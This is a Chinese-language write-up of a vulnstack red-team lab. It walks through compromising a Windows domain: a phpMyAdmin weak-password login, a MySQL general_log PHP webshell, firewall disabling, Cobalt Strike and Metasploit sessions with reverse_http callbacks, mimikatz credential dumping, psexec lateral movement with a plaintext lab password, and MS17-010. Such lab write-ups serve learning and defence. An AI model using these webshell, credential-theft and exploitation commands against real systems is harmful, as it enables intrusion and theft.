前言

知识太紊乱了,试一试实战的环境来练习

靶机地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/2

环境搭建

环境搭建好后的拓补图是这样

配置过程可以看看参考链接
记得win7要开启web服务 ,用它自带的phpstudy打开就好了

外网打点

先用nmap进行扫描

因为自己配置的嘛,win7的ip就是192.168.222.131

扫到后再进行端口扫描,看看开了哪些端口

开了80,访问一下,是个phpstudy的探针

最下面有个mysql的数据库连接检测,目录扫描拿到phpmyadmin,用弱密码root/root登陆

登录进去后想拿到他的web权限,想到应该找地方写马,记得mysql可以直接用intioutfile
先看一下有没有权限

show global variables like '%secure_file_priv%';

没有开启,网上搜了一下,要修改这个的权限需要在配置文件里面修改,所以这个应该不太行
但是还有个方法就是写进日志里面,还是先看一下有没有权限和日志文件的路径在哪

show variables like '%general%';

general_log默认是关闭了的,但是这个可以通过命令去开启他。它的作用是记录用户输入的每条命令,并将其保存在日志文件里

进行写日志shell,先允许日志写入,然后修改路径方便点

set global general_log="ON";

set global general_log_file="C:/phpStudy/www/zz.php";

再查看一下是否成功

写一句话进去:select '<?php eval($_POST["cmd"]);?>',蚁剑连接拿到shell

后面看师傅的文章发现可以用yxcms来打

这种一般就是往模板里面写马,然后在他的备份文件里面拿到路径进行连接,方法都差不多,具体方法可以看看参考链接里其他师傅的文章

然后就是进行内网渗透了

内网渗透

现在我们拿到的只是win7这台机子的web服务权限,现在的目的应该是拿到这台电脑的服务器权限,也就是system权限

蚁剑的shell是间歇性的,用着太难受了,先换到cs上面。

上线cs

先搞一个马
创建一个监听器

然后生成一个马

从蚁剑上传上到web目录下面

在执行前要把防火墙关掉,在蚁剑输入命令

netsh advfirewall set allprofiles state off

然后在执行这个文件就可以上线cs

继续信息搜集

把心跳降低到0,免得反应太慢,真实环境其实到1或者2会好点
这里总结了一下常用的命令搜集

ipconfig /all                             //获得网络配置等信息
net user                                  //获取用户列表
net localgroup administrators             //获取本地管理员信息
systeminfo                                //拿到补丁信息
tasklist                                  //查看杀毒软件、进程列表等
hostname                                  //查看主机名    
netsh firewall show state                 //查看防火墙状态
shell netsh advfirewall set allprofiles state off      //关闭防火墙
net view                                  //查看当前域内计算机列表
net group "domain controllers" /domain     //查看域控列表
net dclist                                //查看域控列表
net view /domain                          //查看主域信息
net config workstation                    //查询当前的登录域与用户信息

这些也只是一些基本的,真正情况需要的搜集还是有很多,还需要所搜更多命令进行搜集

先用来看看够不够

看看是什么权限

whoami
//god\administrator

是admin权限,可能要想办法升到system权限,接着看
shell net user 获取用户列表

有三个用户

获取本地管理员信息:net localgroup administrators

再确认是否在域里面

shell ipconfig/all

看到了dns的后缀,说明可能存在域,直接net view看一下

再看一下主域信息

查询当前的登录域与用户信息

可以很清楚地看域内三个用户,这台机器也在域里面,一般只要不是 工作组 就是有域

接着看一下域控

提权

感觉差不多了,先提权把这台机器的权限上去
shell systeminfo看一下系统信息

注意这里有四个补丁,有可能有其他的漏洞没有修补

tasklist查看杀毒软件、进程列表等

大概看了一下没有发现杀毒软件

这是一些常见的杀毒软件

进程名                    软件
360sd.exe                 360 杀毒
360tray.exe               360 实时保护
ZhuDongFangYu.exe         360 主动防御
KSafeTray.exe             金山卫士
SafeDogUpdateCenter.exe    安全狗
McShield.exe              McAfee
egui.exe                  NOD32
AVP.exe                  卡巴斯基
avguard.exe              小红伞
bdagent.exe              BitDefender

直接试一下cs里面自带的一些payload

拿到system权限

用cs里自带的hashdump获取内存中的凭证

再用 mimikatz 读注册表密码:

logonpasswords         //mimikatz获取明文密码的命令

东西太多了,在cs的凭证信息视图里看整合的信息

SMB Beacon

然后就是进行横向移动了,横向移动也有很多方法,先试试简单的SMB beacon

SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon
获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB
Beacon 相对隐蔽,绕防火墙时可能发挥奇效

先创建个监听器让服务器和被攻击机器建立smb管道连接

然后增加会话

选择choose后他会自动派生出来一个新的会话(后面有个4个小圆圈)

在cs中看到的结构是这样的

接着因为有了凭证,也有了安全的通话环境,所以可以使用psexec进行横向移动

 在横向移动过程,攻击者通常会使用PsExec在远程主机执行命令。在客户端执行psexec.exe后,如果服务器认证成功,会将psexesvc.exe上传到服务端的ADMIN$目录并作为服务运行,在执行完命令后删除对应的服务和psexesvc.exe。
 通过对客户端和服务端的事件日志、注册表、文件系统进行分析,可以从客户端主机获得连接的目的主机,连接时间等信息;从服务端主机可以获得连接的客户端信息,连接时间等信息。

选择想要横向移动的目标主机

在弹出的窗口中选择使用 god.org 的 Administrator 的凭证信息,因为要选择主域的信息,密码也要选择正确的那个密码才可以

监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:

开始后会生成一个新的会话

也就是拿到了其中一个域成员的system权限,再看一下他分别执行了

rev2self
make_token GOD.ORG\Administrator hongrisec@2020
jump psexec ROOT-TVI862UBEH smb

这些命令才拿到这台机器的beacon

最后的网络拓补图是这样的

cs 派生 msf

其实我之前纠结为什么要派生,后面打着打着明白了,cs更偏向于团队合作,单向的功能没有那么全面,而msf适用于单个作战,所以两个结合起来用增加了成功的几率

直接用 psexec 可以迅速获得域控主机的 beacon 是因为我们读取到了域管理员账号密码的 hash

但是一般情况下,我们是获取不到的,并且在win10 默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文,不过也比较麻烦。这里换一种方法来打

首先打开msf,启动handler监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost xxxxxx   (本机ip)
set lport xxxx
exploit

设置完后是这样

然后再cs里面创建一个监听

然后再cs里面派生一个会话,msf就可以收到了

这样相当于派生了一个cs的会话到msf里面

msf 派生 cs

再之前cs派生msf的基础上,再msf里面输入 background 把session会话加入到后台

然后先用cs创建一个新的监听

再配置msf
使用模块 exploit/windows/local/payload_inject ,先看看sessions

依次输入命令

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.222.132     # 创建cs监听的地址
set lport 5555               # cs监听端口
set session 1
exploit

然后cs上面就可以监听到了

这个是在cs还没有获得权限的基础上,也就是说没有运行木马文件的时候,相当于用msf获得权限后,再派生到cs上面,但是他的session好像也要先得到权限才可以用,因为之前我直接run的时候,发现没有创建session会话,总之我感觉用第一种会直观点,具体也可以看看参考文章

cs 派生 msf 横向移动

因为内网是不出网的,所以首先需要添加路由,使得 MSF 能够通过 Win7 路由转发访问192.168.52.0 网段

先查看当前路由:run get_local_subnets

然后添加对应网段:run autoroute -s 192.168.52.0/24 添加路由段

查看添加的路由:run autoroute -p

设置了以后用background把会话添加到后台,换模块直接打

因为之前是看了他的补丁信息,可以知道他没有补ms_17_010,也就可以用永恒之蓝去打

使用这个模块 exploit/windows/smb/ms17_010_eternalblue

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
run

他始终说session没有创建,但是我看session会话的确是存在的啊,卡了好久

然后突然想到可能是防火墙的问题,我先查看的windows server 2008的防火墙发现是开启的,我手动关闭后,执行是可以成功的,但是真实渗透环境肯定不可能给你手动关闭,然后又卡了会,由于我不是一次性打完的,我突然想到我win7的防火墙好像重启后是开着的,而且因为是域环境,我们完全获取权限的也只有win7这台机器,用永恒之蓝去攻击windows server 2008 也是用win7做了跳板,所以我直接在cs里面用命令 netsh advfirewall set allprofiles state off 把win7的防火墙关了,再run一下,还是失败了。。。反正最后没有成功,必须要把防火墙关了才可以

这个靶机暂时打到这,后面试一下其他靶机,再学习一下其他的渗透方法。

参考文章

https://www.freebuf.com/articles/web/252594.html
cs与msf联动
cs与msf联动2
http://blog.o3ev.cn/yy/961
ATT&CK实战系列—红队实战(一)
https://soapffz.com/sec/558.html
https://www.cnblogs.com/Drunkmars/p/mars37.html
横向移动总结